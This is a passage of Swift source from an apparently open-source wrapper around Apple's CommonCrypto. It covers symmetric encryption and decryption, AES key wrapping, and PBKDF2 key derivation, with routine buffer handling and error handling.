}
/// Checks if the the operation was succesful and then trims the data to the needed size. If there was an error success will be false with a error
func cleanUpOutData(dataOut: NSMutableData!, movedOutLength dataOutMoved: UInt, forResultStatus status: RDHStatus) -> (success: Bool, error: NSError?) {
var success = false
var error: NSError? = nil
if status == RDHStatus.Success {
// Fix data to final length
dataOut.length = Int(dataOutMoved)
success = true
} else if status == RDHStatus.BufferTooSmall {
// dataOutMoved now contains the needed size
dataOut.length = Int(dataOutMoved)
} else {
error = status.error()
// Clear any out data
dataOut.length = 0
}
return (success, error)
}
<file_sep>/RDHCommonCrypto/Cryptor.swift
//
// Cryptor.swift
// RDHCommonCrypto
//
// Created by <NAME> on 15/09/2014.
// Copyright (c) 2014 <NAME>. All rights reserved.
//
import Foundation
import Security
/// Operations that an CCCryptor can perform.
public enum Operation : Int {
/// Symmetric encryption.
case Encrypt
/// Symmetric decryption.
case Decrypt
private var cValue: CCOperation {
switch (self) {
case .Encrypt:
return CCOperation(kCCEncrypt)
case .Decrypt:
return CCOperation(kCCDecrypt)
}
}
};
private extension CCAlgorithm
{
/// @returns the block size for the algorithm
private var blockSize: Int {
switch(Int(self)) {
case kCCAlgorithmAES:
fallthrough
case kCCAlgorithmAES128:
return RDHBlockSizeAES128.value
case kCCAlgorithmDES:
return RDHBlockSizeDES.value
case kCCAlgorithm3DES:
return RDHBlockSizeTripleDES.value
case kCCAlgorithmCAST:
return RDHBlockSizeCAST.value
case kCCAlgorithmRC2:
return RDHBlockSizeRC2.value
case kCCAlgorithmBlowfish:
return RDHBlockSizeBlowfish.value
case kCCAlgorithmRC4:
// Stream ciphers have no block size
return 0
default:
return 0
}
}
private var contextSize: Int {
switch(Int(self)) {
case kCCAlgorithmAES:
fallthrough
case kCCAlgorithmAES128:
return RDHContextSizeAES128.value
case kCCAlgorithmDES:
return RDHContextSizeDES.value
case kCCAlgorithm3DES:
return RDHContextSizeTripleDES.value
case kCCAlgorithmCAST:
return RDHContextSizeCAST.value
case kCCAlgorithmRC4:
return RDHContextSizeRC4.value
case kCCAlgorithmRC2:
return 128
case kCCAlgorithmBlowfish:
return 128
default:
return 0
}
}
}
private extension RDHAlgorithm
{
/// @returns the block size for the algorithm
private var blockSize: Int {
return self.toRaw().blockSize
}
/// @returns the memory size needed to create the CryptorRef for the algorithm
private var contextSize: Int {
return self.toRaw().contextSize
}
}
public extension CCAlgorithm
{
public func randomIV() -> NSData? {
if (self == CCAlgorithm(kCCAlgorithmRC4)) {
// Stream cipher return nil
return nil
} else {
return secureRandomData(self.blockSize)
}
}
}
public extension RDHAlgorithm
{
public func randomIV() -> NSData? {
return self.toRaw().randomIV()
}
}
/// Options, passed to cryptor.
public struct Option
{
/// Perform PKCS7 padding.
public static let PKCS7Padding = Option(kCCOptionPKCS7Padding)
/// Electronic Code Book Mode. Default is CBC.
public static let ECBMode = Option(kCCOptionECBMode)
private let ccValue: CCOptions
/// A new Option can be created in case newer options are ever added and this library has not yet been updated.
public init(_ ccValue: Int) {
self.ccValue = CCOptions(ccValue);
}
/// Converts the specified options to the CC value.
private static func CCValue(options: [Option]?) -> CCOptions {
var ccOptions: CCOptions = 0;
if let unwrappedOptions = options {
for option in unwrappedOptions {
ccOptions |= option.ccValue;
}
}
return ccOptions;
}
}
@objc public class Cryptor: NSObject {
/// Explicity unwrapped optional as its required
private let cryptor: CCCryptorRef!
/// Only used when creating a Cryptor with data
private let memoryForCryptor: NSMutableData?
// MARK: Cryptor objects
/// Init.
public convenience init(operation: Operation, algorithm: RDHAlgorithm, options: [Option]?, key: NSData, initialisationVector: NSData? = nil) {
let ccOptions = Option.CCValue(options)
self.init(operation: operation.cValue, algorithm: algorithm.toRaw(), options: ccOptions, key: key, initialisationVector: initialisationVector)
}
/// Init for Objective-C. Marked as internal for Swift as there is a Swift specific init.
@objc convenience init(operation: CCOperation, algorithm: CCAlgorithm, options: CCOptions, key: NSData, initialisationVector: NSData? = nil) {
// Key
let ccKeyLength = UInt(key.length)
// IV
let ccIV = (initialisationVector != nil) ? initialisationVector!.bytes : nil
self.init({
var cryptor: CCCryptorRef = nil
// Creator a cryptor
let status = RDHStatus.statusForOperation {
CCCryptorCreate(operation, algorithm, options, key.bytes, ccKeyLength, ccIV, &cryptor)
}
if (status != RDHStatus.Success) {
cryptor = nil
}
return cryptor
})
}
/// Init with data.
public convenience init(operation: Operation, algorithm: RDHAlgorithm, options: [Option]?, key: NSData, initialisationVector: NSData?, inout returningDataForMemory location: NSMutableData?) {
let ccOptions = Option.CCValue(options)
self.init(operation: operation.cValue, algorithm: algorithm.toRaw(), options: ccOptions, key: key, initialisationVector: initialisationVector, returningDataForMemory: &location)
}
/// Init with data for Objective-C. Marked as internal for Swift as there is a Swift specific init.
@objc convenience init(operation: CCOperation, algorithm: CCAlgorithm, options: CCOptions, key: NSData, initialisationVector: NSData?, returningDataForMemory location: AutoreleasingUnsafeMutablePointer<NSMutableData?>)
{
assert(location != nil, "returningDataForMemory must be specified")
// Key
let ccKeyLength = UInt(key.length)
// IV
let ccIV = (initialisationVector != nil) ? initialisationVector!.bytes : nil
// Data used
var dataUsed: UInt = 0
var ccDataLength = algorithm.contextSize
var memoryLocation: NSMutableData
// Use the data if some has been provided otherwise create some
if let actualLocal = location.memory {
memoryLocation = actualLocal
memoryLocation.length = ccDataLength
} else {
memoryLocation = NSMutableData(length: ccDataLength)
}
location.memory = memoryLocation
var ccData = memoryLocation.bytes
self.init({
var cryptor: CCCryptorRef = nil
// Creator a cryptor
let status = RDHStatus.statusForOperation {
CCCryptorCreateFromData(operation, algorithm, options, key.bytes, ccKeyLength, ccIV, ccData, UInt(ccDataLength), &cryptor, &dataUsed)
}
if status == RDHStatus.Success {
memoryLocation.length = Int(dataUsed)
} else if status == RDHStatus.BufferTooSmall {
// Repeat with returned size
ccDataLength = Int(dataUsed)
memoryLocation.length = ccDataLength
// Try creating a cryptor again
let repeatedStatus = RDHStatus.statusForOperation {
CCCryptorCreateFromData(operation, algorithm, options, key.bytes, ccKeyLength, ccIV, ccData, UInt(ccDataLength), &cryptor, &dataUsed)
}
if repeatedStatus != RDHStatus.Success {
memoryLocation.length = Int(dataUsed)
cryptor = nil
}
} else {
cryptor = nil
}
return cryptor
}, optionMemoryLocation: memoryLocation)
}
/// Init with mode.
public convenience init(operation: Operation, mode: RDHMode, algorithm: RDHAlgorithm, padding: RDHPadding, key: NSData, initialisationVector: NSData?, tweakMaterial: NSData, numberOfRounds: Int = 0) {
self.init(operation: operation.cValue, mode: mode.toRaw(), algorithm: algorithm.toRaw(), padding: padding.toRaw(), key: key, initialisationVector: initialisationVector, tweakMaterial: tweakMaterial, numberOfRounds: numberOfRounds)
}
/// Init with mode for Objective-C. Marked as internal for Swift as there is a Swift specific init.
@objc convenience init(operation: CCOperation, mode: CCMode, algorithm: CCAlgorithm, padding: CCPadding, key: NSData, initialisationVector: NSData?, tweakMaterial: NSData, numberOfRounds: Int = 0)
{
// IV
let ccIV = (initialisationVector != nil) ? initialisationVector!.bytes : nil
// Key
let ccKeyLength = UInt(key.length)
// Tweak material
let ccTweak = tweakMaterial.bytes
let ccTweakLength = UInt(tweakMaterial.length)
self.init({
var cryptor: CCCryptorRef = nil
// Create a cryptor
let status = RDHStatus.statusForOperation {
CCCryptorCreateWithMode(operation, mode, algorithm, padding, ccIV, key.bytes, ccKeyLength, ccTweak, ccTweakLength, Int32(numberOfRounds), 0, &cryptor)
}
if (status != RDHStatus.Success) {
cryptor = nil
}
return cryptor
})
}
/// Designated initialiser which sets the cryptor object to be used from the closure that creates one
private init(_ cryptorCreationBlock: () -> CCCryptorRef!, optionMemoryLocation memoryForCryptor: NSMutableData? = nil) {
let cryptor = cryptorCreationBlock()
// Unwrap to see if the backing pointer is nil (NULL) if it is then use nil and unwrap again to raise a fatal error
self.cryptor = ((cryptor!) != nil ? cryptor : nil)!
self.memoryForCryptor = memoryForCryptor
// if (cryptor!) != nil {
// self.cryptor = cryptor
// } else {
// self.cryptor = nil
// // TODO: eventually return nil
// }
}
deinit {
CCCryptorRelease(self.cryptor)
if let actualMemory = self.memoryForCryptor {
// Zero out the memory
actualMemory.setData(NSMutableData(length: actualMemory.length))
actualMemory.length = 0
}
}
/// @returns the required output size for the specificed input length.
private func outputSizeForDataInLength(dataInLength: UInt, isFinal final: Bool) -> UInt
{
return CCCryptorGetOutputLength(self.cryptor, dataInLength, final)
}
/// @returns the possible data out and possible error. If dataOut is nil then there will be an error.
public func updateWithData(dataIn: NSData) -> (dataOut: NSData?, error: NSError?) {
var resultantError: NSError?
let resultantData = update(dataIn, error: &resultantError)
return (dataOut: resultantData, error: resultantError)
}
/// Update for Objective-C. Marked as internal for Swift as there is a Swift specific function. @returns the data out, if this is nil then error is set.
@objc func update(dataIn: NSData, error: NSErrorPointer = nil) -> NSData? {
// Data in
let ccDataIn = dataIn.bytes
let ccDataInLength = UInt(dataIn.length)
// Data out
let dataOutAvailable = outputSizeForDataInLength(ccDataInLength, isFinal: false)
var dataOut: NSMutableData? = NSMutableData(length: Int(dataOutAvailable))
var dataOutMoved: UInt = 0
// Pointer to data out - we can explicitly unwrap as we just created it above
var ccDataOut = dataOut!.mutableBytes
// Perform the cryptor operation
let (status, success, resultantError) = cryptoBlockReturningData {
let intStatus = CCCryptorUpdate(self.cryptor, ccDataIn, ccDataInLength, &ccDataOut, dataOutAvailable, &dataOutMoved)
return (intStatus, dataOut, dataOutMoved)
}
if (error != nil) {
error.memory = resultantError
}
if success {
// Nothing to do
} else if status == RDHStatus.BufferTooSmall {
// Repeat with returned size
// cryptoBlockReturningData sets the needed size
// Perform the cryptor operation
let (_, repeatedSuccess, repeatedResultantError) = cryptoBlockReturningData {
let intStatus = CCCryptorUpdate(self.cryptor, ccDataIn, ccDataInLength, &ccDataOut, dataOutMoved, &dataOutMoved)
return (intStatus, dataOut, dataOutMoved)
}
if (error != nil) {
error.memory = repeatedResultantError
}
if (!repeatedSuccess) {
// Error - zero out data
dataOut!.length = 0
dataOut!.setData(NSData())
dataOut = nil
}
} else {
// Error
dataOut = nil
}
return dataOut
}
/// @returns the possible final data out and possible error. If dataOut is nil then there will be an error.
public func final() -> (dataOut: NSData?, error: NSError?) {
var resultantError: NSError?
let resultantData = final(&resultantError)
return (dataOut: resultantData, error: resultantError)
}
/// Final for Objective-C. Marked as internal for Swift as there is a Swift specific function. @returns the final data out, if this is nil then error is set.
@objc func final(error: NSErrorPointer) -> NSData? {
// Data out
let dataOutAvailable = outputSizeForDataInLength(0, isFinal: true)
var dataOut: NSMutableData? = NSMutableData(length: Int(dataOutAvailable))
var dataOutMoved: UInt = 0
// Pointer to data out - we can explicitly unwrap as we just created it above
var ccDataOut = dataOut!.mutableBytes
// Perform the cryptor operation
let (status, success, resultantError) = cryptoBlockReturningData {
let intStatus = CCCryptorFinal(self.cryptor, &ccDataOut, dataOutAvailable, &dataOutMoved)
return (intStatus, dataOut, dataOutMoved)
}
if (error != nil) {
error.memory = resultantError
}
if success {
// Nothing to do
} else if status == RDHStatus.BufferTooSmall {
// Repeat with returned size
// cryptoBlockReturningData sets the needed size
// Perform the cryptor operation
let (_, repeatedSuccess, repeatedResultantError) = cryptoBlockReturningData {
let intStatus = CCCryptorFinal(self.cryptor, &ccDataOut, dataOutMoved, &dataOutMoved)
return (intStatus, dataOut, dataOutMoved)
}
if (error != nil) {
error.memory = repeatedResultantError
}
if (!repeatedSuccess) {
// Error - zero out data
dataOut!.length = 0
dataOut!.setData(NSData())
dataOut = nil
}
} else {
// Error
dataOut = nil
}
return dataOut
}
/// @returns true if reset was successful. false will have an error set.
public func resetWithInitialisationVector(_ initialisationVector: NSData? = nil) -> (result: Bool, error: NSError?) {
var resultantError: NSError?
let result = resetWithInitialisationVector(initialisationVector, error: &resultantError)
return (result: result, error: resultantError)
}
/// Reset for Objective-C. Marked as internal for Swift as there is a Swift specific function. @returns true if reset was successful. false will have an error set.
@objc func resetWithInitialisationVector(_ initialisationVector: NSData? = nil, error: NSErrorPointer = nil) -> Bool {
// IV
let ccIV = (initialisationVector != nil) ? initialisationVector!.bytes : nil
// Crypto operation
let status = RDHStatus.statusForOperation {
CCCryptorReset(self.cryptor, ccIV)
}
if error != nil {
error.memory = status.error()
}
return status == RDHStatus.Success
}
// MARK: - Single shot encryption Swift functions
public class func encrypt(algorithm: RDHAlgorithm, usingOptions options: [Option]?, withKey key: NSData, initialisationVector: NSData?, dataIn: NSData) -> (dataOut: NSData?, error: NSError?) {
return cryptOperation(Operation.Encrypt, usingAlgorithm: algorithm, options: options, withKey: key, initialisationVector: initialisationVector, dataIn: dataIn)
}
public class func decrypt(algorithm: RDHAlgorithm, usingOptions options: [Option]?, withKey key: NSData, initialisationVector: NSData?, dataIn: NSData) -> (dataOut: NSData?, error: NSError?) {
return cryptOperation(Operation.Decrypt, usingAlgorithm: algorithm, options: options, withKey: key, initialisationVector: initialisationVector, dataIn: dataIn)
}
/// Root Swift crypt function
private class func cryptOperation(operation: Operation, usingAlgorithm algorithm: RDHAlgorithm, options: [Option]?, withKey key: NSData, initialisationVector: NSData?, dataIn: NSData) -> (dataOut: NSData?, error: NSError?) {
let ccOptions = Option.CCValue(options)
var resultantError: NSError?
let resultantData = cryptOperation(operation.cValue, usingAlgorithm: algorithm.toRaw(), options: ccOptions, withKey: key, initialisationVector: initialisationVector, dataIn: dataIn, error: &resultantError)
return (dataOut: resultantData, error: resultantError)
}
// MARK: - Single shot encryption Objective-C methods
/// Marked as internal for Swift as there is a Swift specific function. @returns the encrypted data, if this is nil then error is set.
@objc class func encrypt(algorithm: CCAlgorithm, usingOptions options: CCOptions, key: NSData, initialisationVector: NSData?, dataIn: NSData, error: NSErrorPointer = nil) -> NSData? {
return cryptOperation(Operation.Encrypt.cValue, usingAlgorithm: algorithm, options: options, withKey: key, initialisationVector: initialisationVector, dataIn: dataIn, error: error)
}
/// Marked as internal for Swift as there is a Swift specific function. @returns the decrypted data, if this is nil then error is set.
@objc class func decrypt(algorithm: CCAlgorithm, usingOptions options: CCOptions, key: NSData, initialisationVector: NSData?, dataIn: NSData, error: NSErrorPointer = nil) -> NSData? {
return cryptOperation(Operation.Decrypt.cValue, usingAlgorithm: algorithm, options: options, withKey: key, initialisationVector: initialisationVector, dataIn: dataIn, error: error)
}
/// Exposed as the root function - this matches the API of the C CCCrypt function. Marked as internal for Swift as there is a Swift specific function. @returns the out data, if this is nil then error is set.
@objc class func cryptOperation(operation: CCOperation, usingAlgorithm algorithm: CCAlgorithm, options: CCOptions, withKey key: NSData, initialisationVector: NSData?, dataIn: NSData, error: NSErrorPointer = nil) -> NSData? {
// Key
let ccKey = key.bytes;
let ccKeyLength = UInt(key.length);
// IV
let ccIV = (initialisationVector != nil) ? initialisationVector!.bytes : nil
// Data in
let ccDataIn = dataIn.bytes
let ccDataInLength = UInt(dataIn.length)
// Data out
let dataOutAvailable = ccDataInLength + algorithm.blockSize
var dataOut: NSMutableData? = NSMutableData(length: Int(dataOutAvailable))
var dataOutMoved: UInt = 0
// Pointer to data out - we can explicitly unwrap as we just created it above
var ccDataOut = dataOut!.mutableBytes
// Perform the cryptor operation
let (status, success, resultantError) = cryptoBlockReturningData {
let intStatus = CCCrypt(operation, algorithm, options, ccKey, ccKeyLength, ccIV, ccDataIn, ccDataInLength, ccDataOut, dataOutAvailable, &dataOutMoved)
return (intStatus, dataOut, dataOutMoved)
}
if (error != nil) {
error.memory = resultantError
}
if success {
// Nothing to do
} else if status == RDHStatus.BufferTooSmall {
// cryptoBlockReturningData with returned size
// Cleanup sets the needed size
// Perform the cryptor operation
let (_, repeatedSuccess, repeatedResultantError) = cryptoBlockReturningData {
let intStatus = CCCrypt(operation, algorithm, options, ccKey, ccKeyLength, ccIV, ccDataIn, ccDataInLength, ccDataOut, dataOutMoved, &dataOutMoved)
return (intStatus, dataOut, dataOutMoved)
}
if (error != nil) {
error.memory = repeatedResultantError
}
if (!repeatedSuccess) {
// Error - zero out data
dataOut!.length = 0
dataOut!.setData(NSData())
dataOut = nil
}
} else {
// Error
dataOut = nil
}
return dataOut
}
}
/// Closure that can return and clean up the data
private func cryptoBlockReturningData(block: () -> (CCStatus, NSMutableData?, UInt)) -> (status: RDHStatus, success: Bool, error: NSError?) {
let (intStatus, dataOut, dataOutMoved) = block()
let status = RDHStatus.fromInt(intStatus)
let (resultSuccess, resultantError) = cleanUpOutData(dataOut, movedOutLength: dataOutMoved, forResultStatus: status)
return (status, resultSuccess, resultantError)
}
<file_sep>/RDHCommonCrypto/SymmetricKeyWrap.swift
//
// SymmetricKeyWrap.swift
// RDHCommonCrypto
//
// Created by <NAME> on 21/09/2014.
// Copyright (c) 2014 <NAME>. All rights reserved.
//
import Foundation
public extension RDHWrappingAlgorithm {
/// Wrap the key using the receiver
public func wrap(rawKey: NSData, withKeyEncryptionKey kek: NSData, usingIV iv: NSData = SymmetricKeyWrap.RFC3394IV()) -> (wrappedKey: NSData?, error: NSError?) {
var resultantError: NSError? = nil
let wrappedKey = SymmetricKeyWrap.wrapWithAlgorithm(self.toRaw(), usingIV: iv, keyEncryptionKey: kek, rawKey: rawKey, error: &resultantError)
return (wrappedKey, resultantError)
}
/// Unwrap the key using the receiver
public func unwrap(wrappedKey: NSData, withKeyEncryptionKey kek: NSData, usingIV iv: NSData = SymmetricKeyWrap.RFC3394IV()) -> (rawKey: NSData?, error: NSError?) {
var resultantError: NSError? = nil
let rawKey = SymmetricKeyWrap.unwrapWithAlgorithm(self.toRaw(), usingIV: iv, keyEncryptionKey: kek, wrappedKey: wrappedKey, error: &resultantError)
return (rawKey, resultantError)
}
public func wrappedKeyLength(rawKeyLength: Int) -> Int {
return SymmetricKeyWrap.wrappedLengthWithAlgorithm(self.toRaw(), forRawKeyLength: rawKeyLength)
}
public func unwrappedKeyLength(wrappedKeyLength: Int) -> Int {
return SymmetricKeyWrap.unwrappedLengthWithAlgorithm(self.toRaw(), forWrappedKeyLength: wrappedKeyLength)
}
}
// Don't extend NSObject as there are no instance methods
@objc public class SymmetricKeyWrap {
/// Cannot instantiate this class
private init() {
assertionFailure("KeyDerivation cannot be instantiated")
}
// TODO: should be class property
// @objc public class let RFC3394IV = NSData(bytes: CCrfc3394_iv, length: Int(CCrfc3394_ivLen))
@objc public class func RFC3394IV() -> NSData {
return NSData(bytes: CCrfc3394_iv, length: Int(CCrfc3394_ivLen))
}
@objc public class func wrapWithAlgorithm(algorithm: CCWrappingAlgorithm, usingIV iv: NSData?, keyEncryptionKey kek: NSData, rawKey: NSData, error: NSErrorPointer) -> NSData? {
// IV
var ivBytes: UnsafePointer<UInt8>
var ivLength: UInt
if let actualIV = iv {
ivBytes = UnsafePointer<UInt8>(actualIV.bytes)
ivLength = UInt(actualIV.length)
} else {
let defaultIV = RFC3394IV()
ivBytes = UnsafePointer<UInt8>(defaultIV.bytes)
ivLength = UInt(defaultIV.length)
}
// KEK
let kekLength = UInt(kek.length)
let kekBytes = UnsafePointer<UInt8>(kek.bytes)
// Raw key
let rawKeyLength = UInt(rawKey.length)
let rawKeyBytes = UnsafePointer<UInt8>(rawKey.bytes)
// Wrapped key
let wrappedKeyLength = UInt(wrappedLengthWithAlgorithm(algorithm, forRawKeyLength: Int(rawKeyLength)))
var wrappedKey: NSMutableData? = NSMutableData(length: Int(wrappedKeyLength))
let wrappedKeyBytes = UnsafeMutablePointer<UInt8>(wrappedKey!.mutableBytes)
var returnedWrappedKeyLength: UInt = 0
// Operation
let status = RDHStatus.statusForOperation {
CCSymmetricKeyWrap(algorithm, ivBytes, ivLength, kekBytes, kekLength, rawKeyBytes, rawKeyLength, wrappedKeyBytes, &returnedWrappedKeyLength)
}
let (success, resultantError) = cleanUpOutData(wrappedKey, movedOutLength: returnedWrappedKeyLength, forResultStatus: status)
if (error != nil) {
error.memory = resultantError
}
if success {
// Nothing to do
} else if status == RDHStatus.BufferTooSmall {
// Repeat with returned size
// cryptoBlockReturningData sets the needed size
let repeatedStatus = RDHStatus.statusForOperation {
CCSymmetricKeyWrap(algorithm, ivBytes, ivLength, kekBytes, kekLength, rawKeyBytes, rawKeyLength, wrappedKeyBytes, &returnedWrappedKeyLength)
}
// Perform the cryptor operation
let (repeatedSuccess, repeatedResultantError) = cleanUpOutData(wrappedKey, movedOutLength: returnedWrappedKeyLength, forResultStatus: repeatedStatus)
if (error != nil) {
error.memory = repeatedResultantError
}
if (!repeatedSuccess) {
// Error - zero out data
wrappedKey!.setData(NSData())
wrappedKey!.length = 0
wrappedKey = nil
}
} else {
// Error
wrappedKey = nil
}
return wrappedKey
}
@objc public class func unwrapWithAlgorithm(algorithm: CCWrappingAlgorithm, usingIV iv: NSData?, keyEncryptionKey kek: NSData, wrappedKey: NSData, error: NSErrorPointer) -> NSData? {
// IV
var ivBytes: UnsafePointer<UInt8>
var ivLength: UInt
if let actualIV = iv {
ivBytes = UnsafePointer<UInt8>(actualIV.bytes)
ivLength = UInt(actualIV.length)
} else {
let defaultIV = RFC3394IV()
ivBytes = UnsafePointer<UInt8>(defaultIV.bytes)
ivLength = UInt(defaultIV.length)
}
// KEK
var kekLength = UInt(kek.length)
var kekBytes = UnsafePointer<UInt8>(kek.bytes)
// Wrapped key
let wrappedKeyLength = UInt(wrappedKey.length)
let wrappedKeyBytes = UnsafeMutablePointer<UInt8>(wrappedKey.bytes)
// Raw key
let rawKeyLength = UInt(unwrappedLengthWithAlgorithm(algorithm, forWrappedKeyLength: Int(wrappedKeyLength)))
var rawKey: NSMutableData? = NSMutableData(length: Int(rawKeyLength))
let rawKeyBytes = UnsafeMutablePointer<UInt8>(rawKey!.mutableBytes)
var returnedRawKeyLength: UInt = 0
// Operation
let status = RDHStatus.statusForOperation {
CCSymmetricKeyUnwrap(algorithm, ivBytes, ivLength, kekBytes, kekLength, wrappedKeyBytes, wrappedKeyLength, rawKeyBytes, &returnedRawKeyLength)
}
let (success, resultantError) = cleanUpOutData(rawKey, movedOutLength: returnedRawKeyLength, forResultStatus: status)
if (error != nil) {
error.memory = resultantError
}
if success {
// Nothing to do
} else if status == RDHStatus.BufferTooSmall {
// Repeat with returned size
// cryptoBlockReturningData sets the needed size
let repeatedStatus = RDHStatus.statusForOperation {
CCSymmetricKeyUnwrap(algorithm, ivBytes, ivLength, kekBytes, kekLength, wrappedKeyBytes, wrappedKeyLength, rawKeyBytes, &returnedRawKeyLength)
}
// Perform the cryptor operation
let (repeatedSuccess, repeatedResultantError) = cleanUpOutData(rawKey, movedOutLength: returnedRawKeyLength, forResultStatus: repeatedStatus)
if (error != nil) {
error.memory = repeatedResultantError
}
if (!repeatedSuccess) {
// Error - zero out data
rawKey!.setData(NSData())
rawKey!.length = 0
rawKey = nil
}
} else {
// Error
rawKey = nil
}
return rawKey
}
/// Objective-C function. For Swift use RDHWrappingAlgorithm.wrappedKeyLength(rawKeyLength:)
@objc public class func wrappedLengthWithAlgorithm(algorithm: CCWrappingAlgorithm, forRawKeyLength rawKeyLength: Int) -> Int {
return Int(CCSymmetricWrappedSize(algorithm, UInt(rawKeyLength)))
}
/// Objective-C function. For Swift use RDHWrappingAlgorithm.unwrappedKeyLength(wrappedKeyLength:)
@objc public class func unwrappedLengthWithAlgorithm(algorithm: CCWrappingAlgorithm, forWrappedKeyLength wrappedKeyLength: Int) -> Int {
return Int(CCSymmetricUnwrappedSize(algorithm, UInt(wrappedKeyLength)))
}
}
<file_sep>/RDHCommonCrypto/KeyDerivation.swift
//
// KeyDerivation.swift
// RDHCommonCrypto
//
// Created by <NAME> on 21/09/2014.
// Copyright (c) 2014 <NAME>. All rights reserved.
//
import Foundation
public extension String {
public var length: Int {
return (self as NSString).length
}
}
private extension CCPseudoRandomAlgorithm {
var defaultDerivedKeyLength: Int {
switch(Int(self)) {
case kCCPRFHmacAlgSHA1:
return 160 / 8
case kCCPRFHmacAlgSHA224:
return 224 / 8
case kCCPRFHmacAlgSHA256:
return 256 / 8
case kCCPRFHmacAlgSHA384:
return 384 / 8
case kCCPRFHmacAlgSHA512:
return 512 / 8
default:
return 128 / 8
}
}
}
private extension RDHPseudoRandomAlgorithm {
var defaultDerivedKeyLength: Int {
return self.toRaw().defaultDerivedKeyLength
}
}
// Don't extend NSObject as there are no instance methods
@objc public class KeyDerivation {
/// Cannot instantiate this class
private init() {
assertionFailure("KeyDerivation cannot be instantiated")
}
// MARK: - PBKDF2: Key derivation
/// Instead of specifiying the number of rounds a duration can be provided when using PBKDF2.
class func PBKDF2UsingPassword(password: String!, withSalt salt: NSData?, pseudoRandomAlgorithm prf: RDHPseudoRandomAlgorithm, targettedDuration: NSTimeInterval, derivedKeyLength: Int? = nil) -> (derivedKey: NSData?, error: NSError?) {
let algorithm = RDHPBKDFAlgorithm.PBKDF2
return PBKDF2UsingPassword(password, withSalt: salt, pseudoRandomAlgorithm: prf, targettedDuration: targettedDuration, derivedKeyLength: derivedKeyLength)
}
class func PBKDF2UsingPassword(password: String!, withSalt salt: NSData?, pseudoRandomAlgorithm prf: RDHPseudoRandomAlgorithm, numberOfRounds rounds: Int = 1, derivedKeyLength: Int? = nil) -> (derivedKey: NSData?, error: NSError?) {
return PBKDFWithAlgorithm(RDHPBKDFAlgorithm.PBKDF2, usingPassword: <PASSWORD>, withSalt: salt, pseudoRandomAlgorithm: prf, numberOfRounds: rounds, derivedKeyLength: derivedKeyLength)
}
// MARK: - Generic PBKDF: Key derivation
/// Instead of specifiying the number of rounds a duration can be provided.
class func PBKDFWithAlgorithm(algorithm: RDHPBKDFAlgorithm, usingPassword password: String!, withSalt salt: NSData?, pseudoRandomAlgorithm prf: RDHPseudoRandomAlgorithm, targettedDuration: NSTimeInterval, derivedKeyLength: Int? = nil) -> (derivedKey: NSData?, error: NSError?) {
let rounds = calibratePBKDFWithAlgorithm(algorithm, password: <PASSWORD>, salt: salt, pseudoRandomAlgorithm: prf, targettedDuration: targettedDuration, derivedKeyLength: derivedKeyLength)
return PBKDFWithAlgorithm(RDHPBKDFAlgorithm.PBKDF2, usingPassword: <PASSWORD>, withSalt: salt, pseudoRandomAlgorithm: prf, numberOfRounds: rounds, derivedKeyLength: derivedKeyLength)
}
/// @returns the derived key data data, if this is nil then error is set.
class func PBKDFWithAlgorithm(algorithm: RDHPBKDFAlgorithm, usingPassword password: String!, withSalt salt: NSData?, pseudoRandomAlgorithm prf: RDHPseudoRandomAlgorithm, numberOfRounds rounds: Int = 1, derivedKeyLength: Int? = nil) -> (derivedKey: NSData?, error: NSError?) {
var usedDerivedKeyLength = derivedKeyLength ?? prf.defaultDerivedKeyLength
var resultantError: NSError?
let resultantDerivedKey = PBKDFWithAlgorithm(algorithm.toRaw(), password: <PASSWORD>, salt: salt, pseudoRandomAlgorithm: prf.toRaw(), numberOfRounds: rounds, derivedKeyLength: usedDerivedKeyLength, error: &resultantError)
return (resultantDerivedKey, resultantError)
}
/// Objective-C method. Marked as internal for Swift as there is a Swift specific function. @returns the encrypted data, if this is nil then error is set.
@objc class func PBKDFWithAlgorithm(algorithm: CCPBKDFAlgorithm, password: String!, salt: NSData?, pseudoRandomAlgorithm prf: CCPseudoRandomAlgorithm, numberOfRounds rounds: Int, derivedKeyLength: Int, error: NSErrorPointer = nil) -> NSData? {
assert(rounds > 0, "Number of rounds must be greater than 0: \(rounds)")
assert(derivedKeyLength > 0, "The expected derived key length must be greater than 0: \(derivedKeyLength)")
// Salt
var saltLength: UInt = 0
var saltBytes: UnsafePointer<UInt8> = nil
if let actualSalt = salt {
saltLength = UInt(actualSalt.length)
saltBytes = UnsafePointer<UInt8>(actualSalt.bytes)
}
// Derived key
var derivedKey: NSMutableData? = NSMutableData(length: derivedKeyLength)
let derivedKeyChars = UnsafeMutablePointer<UInt8>(derivedKey!.mutableBytes)
// Operation
let status = RDHStatus.statusForOperation {
CCKeyDerivationPBKDF(algorithm, password, strlen(password), saltBytes, saltLength, prf, uint(rounds), derivedKeyChars, UInt(derivedKeyLength))
}
if (status != RDHStatus.Success) {
derivedKey!.length = 0
derivedKey = nil
}
if (error != nil) {
error.memory = status.error()
}
return derivedKey
}
// MARK: - PBKDF2: Round calibration
/// @returns the number of iterations to use for the desired processing time when using PBKDF2.
public class func calibratePBKDF2UsingPassword(password: String!, salt: NSData?, pseudoRandomAlgorithm prf: RDHPseudoRandomAlgorithm, targettedDuration: NSTimeInterval, derivedKeyLength: Int? = nil) -> Int {
return calibratePBKDFWithAlgorithm(RDHPBKDFAlgorithm.PBKDF2, password: <PASSWORD>, salt: salt, pseudoRandomAlgorithm: prf, targettedDuration: targettedDuration, derivedKeyLength: derivedKeyLength)
}
// MARK: - Generic PBKDF: Round calibration
/// @returns the number of iterations to use for the desired processing time.
public class func calibratePBKDFWithAlgorithm(algorithm: RDHPBKDFAlgorithm, password: String!, salt: NSData?, pseudoRandomAlgorithm prf: RDHPseudoRandomAlgorithm, targettedDuration: NSTimeInterval, derivedKeyLength: Int? = nil) -> Int {
var usedDerivedKeyLength = derivedKeyLength ?? prf.defaultDerivedKeyLength
return calibratePBKDFWithAlgorithm(algorithm.toRaw(), password: <PASSWORD>, salt: salt, pseudoRandomAlgorithm: prf.toRaw(), targettedDuration: targettedDuration, derivedKeyLength: usedDerivedKeyLength)
}
/// Objective-C method. Marked as internal for Swift as there is a Swift specific function. @returns the number of iterations to use for the desired processing time.
@objc class func calibratePBKDFWithAlgorithm(algorithm: CCPBKDFAlgorithm, password: String!, salt: NSData?, pseudoRandomAlgorithm prf: CCPseudoRandomAlgorithm, targettedDuration: NSTimeInterval, derivedKeyLength: Int) -> Int {
assert(derivedKeyLength > 0, "The expected derived key length must be greater than 0: \(derivedKeyLength)")
assert(targettedDuration > 0, "The targetted duration must be greater than 0: \(targettedDuration)")
// Salt
var saltLength = salt?.length ?? 0
// Duration
